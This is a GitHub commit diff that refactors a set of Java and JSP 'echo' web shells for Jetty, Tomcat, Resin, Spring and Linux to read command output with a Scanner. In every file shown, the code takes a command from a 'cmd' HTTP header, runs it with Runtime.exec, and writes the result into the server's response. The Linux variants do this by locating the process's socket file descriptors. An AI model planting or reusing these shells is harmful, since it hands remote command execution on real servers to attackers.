Skip to content

Commit 04fd14a

Browse files
author
feihong
committed
用java.util.Scanner的方式替代原有的方式读取命令执行结果,减少代码行数
1 parent 1d74ee3 commit 04fd14a

File tree

13 files changed

+39
-172
lines changed

13 files changed

+39
-172
lines changed

Jetty/code/jetty789Echo.jsp

Lines changed: 5 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,7 @@
1111
1212
Object[] obj_arr = (Object[]) obj;
1313
for(Object o : obj_arr){
14-
if(o == null){
15-
continue;
16-
}
14+
if(o == null) continue;
1715
1816
field = o.getClass().getDeclaredField("value");
1917
field.setAccessible(true);
@@ -27,26 +25,13 @@
2725
method = obj.getClass().getMethod("getHeader", String.class);
2826
obj = method.invoke(obj, "cmd");
2927
30-
java.io.InputStream in = Runtime.getRuntime().exec(obj.toString()).getInputStream();
31-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
32-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
33-
34-
StringBuilder sb = new StringBuilder();
35-
String line;
36-
while((line =br.readLine()) != null){
37-
sb.append(line + "\n");
38-
}
39-
40-
br.close();
41-
isr.close();
42-
in.close();
28+
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
4329
4430
method = connection.getClass().getMethod("getPrintWriter", String.class);
4531
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8");
46-
printWriter.println(sb.toString());
32+
printWriter.println(res);
4733
4834
}else if(obj != null && obj.getClass().getName().endsWith("HttpConnection")){
49-
System.out.println(obj.getClass().getName());
5035
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel");
5136
Object httpChannel = method.invoke(obj);
5237
@@ -56,22 +41,14 @@
5641
method = obj.getClass().getMethod("getHeader", String.class);
5742
obj = method.invoke(obj, "cmd");
5843
59-
java.io.InputStream in = Runtime.getRuntime().exec(obj.toString()).getInputStream();
60-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
61-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
62-
63-
StringBuilder sb = new StringBuilder();
64-
String line;
65-
while((line =br.readLine()) != null){
66-
sb.append(line + "\n");
67-
}
44+
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
6845
6946
method = httpChannel.getClass().getMethod("getResponse");
7047
obj = method.invoke(httpChannel);
7148
7249
method = obj.getClass().getMethod("getWriter");
7350
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj);
74-
printWriter.println(sb.toString());
51+
printWriter.println(res);
7552
}
7653
}
7754
%>

Jetty/code/jetty78Echo.jsp

Lines changed: 3 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,7 @@
1111
1212
Object[] obj_arr = (Object[]) obj;
1313
for(Object o : obj_arr){
14-
if(o == null){
15-
continue;
16-
}
14+
if(o == null) continue;
1715
1816
field = o.getClass().getDeclaredField("value");
1917
field.setAccessible(true);
@@ -26,19 +24,11 @@
2624
method = obj.getClass().getMethod("getHeader", String.class);
2725
obj = method.invoke(obj, "cmd");
2826
29-
java.io.InputStream in = Runtime.getRuntime().exec(obj.toString()).getInputStream();
30-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
31-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
32-
33-
StringBuilder sb = new StringBuilder();
34-
String line;
35-
while((line =br.readLine()) != null){
36-
sb.append(line + "\n");
37-
}
27+
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
3828
3929
method = connection.getClass().getMethod("getPrintWriter", String.class);
4030
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(connection, "utf-8");
41-
printWriter.println(sb.toString());
31+
printWriter.println(res);
4232
}
4333
}
4434
%>

Jetty/code/jetty9Echo.jsp

Lines changed: 3 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -11,9 +11,7 @@
1111
1212
Object[] obj_arr = (Object[]) obj;
1313
for(Object o : obj_arr){
14-
if(o == null){
15-
continue;
16-
}
14+
if(o == null) continue;
1715
1816
field = o.getClass().getDeclaredField("value");
1917
field.setAccessible(true);
@@ -28,22 +26,14 @@
2826
method = obj.getClass().getMethod("getHeader", String.class);
2927
obj = method.invoke(obj, "cmd");
3028
31-
java.io.InputStream in = Runtime.getRuntime().exec(obj.toString()).getInputStream();
32-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
33-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
34-
35-
StringBuilder sb = new StringBuilder();
36-
String line;
37-
while((line =br.readLine()) != null){
38-
sb.append(line + "\n");
39-
}
29+
String res = new java.util.Scanner(Runtime.getRuntime().exec(obj.toString()).getInputStream()).useDelimiter("\\A").next();
4030
4131
method = httpChannel.getClass().getMethod("getResponse");
4232
obj = method.invoke(httpChannel);
4333
4434
method = obj.getClass().getMethod("getWriter");
4535
java.io.PrintWriter printWriter = (java.io.PrintWriter)method.invoke(obj);
46-
printWriter.println(sb.toString());
36+
printWriter.println(res);
4737
}
4838
}
4939
%>

Linux/code/case1.jsp

Lines changed: 6 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -4,18 +4,14 @@
44
55
java.util.List<String> list = new java.util.ArrayList<>();
66
String[] cmd = new String[]{"/bin/sh", "-c", command };
7-
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
8-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
9-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
7+
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
108
119
String line;
1210
while ((line = br.readLine()) != null){
1311
list.add(line);
1412
}
1513
16-
br.close();
17-
isr.close();
18-
in.close();
14+
br.close();
1915
2016
java.lang.reflect.Constructor<java.io.FileDescriptor> c= java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
2117
c.setAccessible(true);
@@ -25,9 +21,7 @@
2521
2622
try{
2723
cmd = new String[]{"/bin/sh", "-c", "ls -l" };
28-
in = Runtime.getRuntime().exec(cmd).getInputStream();
29-
isr = new java.io.InputStreamReader(in);
30-
br = new java.io.BufferedReader(isr);
24+
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
3125
3226
StringBuilder sb = new StringBuilder();
3327
while ((line = br.readLine()) != null){
@@ -38,12 +32,7 @@
3832
os.write(sb.toString().getBytes());
3933
4034
br.close();
41-
isr.close();
42-
in.close();
43-
}catch(Exception e){
44-
//pass
45-
}
35+
os.close();
36+
}catch(Exception e){}
4637
}
47-
%>
48-
</body>
49-
</html>
38+
%>

Linux/code/case2.jsp

Lines changed: 6 additions & 21 deletions
Original file line numberDiff line numberDiff line change
@@ -2,36 +2,26 @@
22
<%
33
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'";
44
String[] cmd = new String[]{"/bin/sh", "-c", command };
5-
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
6-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
7-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
5+
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
86
97
java.util.List<String> res1 = new java.util.ArrayList<>();
108
String line = "";
119
while ((line = br.readLine()) != null){
1210
res1.add(line);
1311
}
14-
15-
isr.close();
1612
br.close();
17-
in.close();
1813
1914
Thread.sleep(2000);
2015
2116
command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'";
2217
cmd = new String[]{"/bin/sh", "-c", command };
23-
in = Runtime.getRuntime().exec(cmd).getInputStream();
24-
isr = new java.io.InputStreamReader(in);
25-
br = new java.io.BufferedReader(isr);
18+
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
2619
2720
java.util.List<String> res2 = new java.util.ArrayList<>();
2821
while ((line = br.readLine()) != null){
2922
res2.add(line);
3023
}
31-
32-
isr.close();
33-
br.close();
34-
in.close();
24+
br.close();
3525
3626
int index = 0;
3727
int max = 0;
@@ -55,9 +45,7 @@
5545
c.setAccessible(true);
5646
5747
cmd = new String[]{"/bin/sh", "-c", "ls -l" };
58-
in = Runtime.getRuntime().exec(cmd).getInputStream();
59-
isr = new java.io.InputStreamReader(in);
60-
br = new java.io.BufferedReader(isr);
48+
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
6149
6250
StringBuilder sb = new StringBuilder();
6351
while ((line = br.readLine()) != null){
@@ -68,8 +56,5 @@
6856
os.write(sb.toString().getBytes());
6957
7058
br.close();
71-
isr.close();
72-
in.close();
73-
%>
74-
</body>
75-
</html>
59+
os.close();
60+
%>

Resin/code/resinEcho.jsp

Lines changed: 2 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -20,20 +20,13 @@
2020
if(obj instanceof com.caucho.server.http.HttpRequest){
2121
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest)obj;
2222
String cmd = httpRequest.getHeader("cmd");
23-
24-
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
25-
26-
StringBuilder sb = new StringBuilder();
27-
String line;
28-
while((line = br.readLine()) != null){
29-
sb.append(line + "\n");
30-
}
23+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
3124
3225
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
3326
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream");
3427
method.setAccessible(true);
3528
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse);
36-
httpResponseStream.write(sb.toString().getBytes(), 0, sb.length());
29+
httpResponseStream.write(res.getBytes(), 0, res.length());
3730
httpResponseStream.close();
3831
}
3932
}

Spring/code/SpringMVCTestController.java

Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -19,16 +19,8 @@ public User Test() throws IOException {
1919
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
2020

2121
String cmd = httprequest.getHeader("cmd");
22-
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
23-
24-
StringBuilder sb = new StringBuilder();
25-
String line;
26-
while((line = br.readLine()) != null){
27-
sb.append(line + "\n");
28-
}
29-
30-
br.close();
31-
httpresponse.getWriter().println(sb.toString());
22+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
23+
httpresponse.getWriter().println(res);
3224

3325
return new User();
3426
}

Spring/code/SpringWebFlowTestController.java

Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -26,16 +26,8 @@ public String test() throws IOException {
2626
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse) servletExternalContext.getNativeResponse();
2727

2828
String cmd = request.getHeader("cmd");
29-
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
30-
31-
StringBuilder sb = new StringBuilder();
32-
String line;
33-
while((line = br.readLine()) != null){
34-
sb.append(line + "\n");
35-
}
36-
37-
br.close();
38-
response.getWriter().println(sb.toString());
29+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
30+
response.getWriter().println(res);
3931

4032
return "test";
4133
}

Tomcat/code/Tomcat6Echo.jsp

Lines changed: 2 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -31,18 +31,9 @@
3131
3232
String cmd = req.getHeader("cmd");
3333
if (cmd != null) {
34-
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
35-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
36-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
37-
38-
StringBuilder sb = new StringBuilder();
39-
String line;
40-
while ((line = br.readLine()) != null) {
41-
sb.append(line + "\n");
42-
}
43-
34+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
4435
org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();
45-
bc.setBytes(sb.toString().getBytes(), 0, sb.toString().getBytes().length);
36+
bc.setBytes(res.getBytes(), 0, res.getBytes().length);
4637
req.getResponse().doWrite(bc);
4738
}
4839
}

Tomcat/code/Tomcat78Echo.jsp

Lines changed: 2 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -53,18 +53,10 @@
5353
5454
String cmd = req.getHeader("cmd");
5555
if (cmd != null) {
56-
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
57-
java.io.InputStreamReader isr = new java.io.InputStreamReader(in);
58-
java.io.BufferedReader br = new java.io.BufferedReader(isr);
59-
60-
StringBuilder sb = new StringBuilder();
61-
String line;
62-
while ((line = br.readLine()) != null) {
63-
sb.append(line + "\n");
64-
}
56+
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
6557
6658
org.apache.tomcat.util.buf.ByteChunk bc = new org.apache.tomcat.util.buf.ByteChunk();
67-
bc.setBytes(sb.toString().getBytes(), 0, sb.toString().getBytes().length);
59+
bc.setBytes(res.getBytes(), 0, res.getBytes().length);
6860
req.getResponse().doWrite(bc);
6961
break label;
7062
}

0 commit comments

Comments
 (0)